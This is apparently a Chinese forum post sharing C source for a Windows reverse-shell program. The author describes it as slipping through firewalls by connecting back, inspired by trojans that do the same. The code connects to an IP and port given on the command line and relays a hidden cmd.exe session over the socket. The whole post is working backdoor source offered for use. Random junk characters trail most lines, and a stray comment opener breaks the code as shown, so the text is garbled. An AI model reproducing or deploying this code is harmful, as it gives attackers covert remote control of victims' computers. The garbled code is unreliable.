这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [^D>xD3B2
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/* ============================== 2@IL
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Rebound port in Windows NT Qq'e#nI@
By wind,2006/7 _mJhY0Oc
===============================*/ =R "LB}>h}
#include j{D tjV8
#include 56Z
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#pragma comment(lib,"wsock32.lib") o2cc3`*8d
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void OutputShell(); xGFbh4H=8p
SOCKET sClient; PpH
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I;n<)
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void main(int argc,char **argv) I1rB,%p
{ jT!?lqr(Rb
WSADATA stWsaData; 4LW~
int nRet; yFS{8yrRUU
SOCKADDR_IN stSaiClient,stSaiServer; \hn$-'=4
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if(argc != 3) 1Wiz0X/
{ >; tE.CJH
printf("Useage:\n\rRebound DestIP DestPort\n"); j
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return; Q*M(d\V s
} .Z#/%y3S
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WSAStartup(MAKEWORD(2,2),&stWsaData); A\W)uwyN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^do6?e`?-
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stSaiClient.sin_family = AF_INET; |)C*i
stSaiClient.sin_port = htons(0); ~I9o* cq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0TSB<,9a[
{ %n GjP^
printf("Bind Socket Failed!\n"); 8e^u KYR<
return; 1e7I2g
} 8qaU[u&$
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stSaiServer.sin_family = AF_INET; bM5o-U#^ C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0FY-e~xr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 17,mqXX>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;E[Q/
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{ i pl,{
printf("Connect Error!"); gu%i|-}
return; (x?Tjyzw
} , ,ng]&%i
OutputShell(); i;s;:{cn
} HyOrAv
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void OutputShell() @6UZC-M0
{ >iRkhA=Vg
char szBuff[1024]; zH6@v+gb
SECURITY_ATTRIBUTES stSecurityAttributes; K)se$vb6
OSVERSIONINFO stOsversionInfo; #^Pab^Y3r-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m{?f,Q=u@
STARTUPINFO stStartupInfo; #.[eZ[
char *szShell; 3u4Q!U%(D
PROCESS_INFORMATION stProcessInformation; CaO-aL
unsigned long lBytesRead; {V[}#Mf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Gyy4zK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P\<:.8@$S
stSecurityAttributes.lpSecurityDescriptor = 0; ^3S&LC
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stSecurityAttributes.bInheritHandle = TRUE; .-/IV^lGv
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/*k_`3L
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RLMn&j|?e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pr7lm5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qt*+ D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EY<"B2_%
stStartupInfo.wShowWindow = SW_HIDE; |:JT+a1
stStartupInfo.hStdInput = hReadPipe; 1' v!~*af
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ez0zk9
^]D1':
GetVersionEx(&stOsversionInfo); )7NI5x^$
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switch(stOsversionInfo.dwPlatformId) X~c?C-fV
{ F]UH\1
case 1: vr'cR2
szShell = "command.com"; O>1Cx4s5
break; oD9n5/ozo
default: ^Y%_{
szShell = "cmd.exe"; S6JXi>n
break; F]?] |nZZ
} vno/V#e$WX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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){"?@1vP
send(sClient,szMsg,77,0); Yg3nT:K_Y&
while(1) =urGs`\
{ Y.]$T8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BR@m*JGajz
if(lBytesRead) CssE8p>"F
{ 6X%g-aTs
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lYJSg70P
send(sClient,szBuff,lBytesRead,0); @;P ;iI
} adX"Yg!`{c
else U].]K
{ `>)Ge](oN
lBytesRead=recv(sClient,szBuff,1024,0); LrbD%2U$j5
if(lBytesRead<=0) break; vBl:&99[/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CL4N/[UM
} o25rKC=o
} iI";m0Ny
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return; )B0%"0?`8
}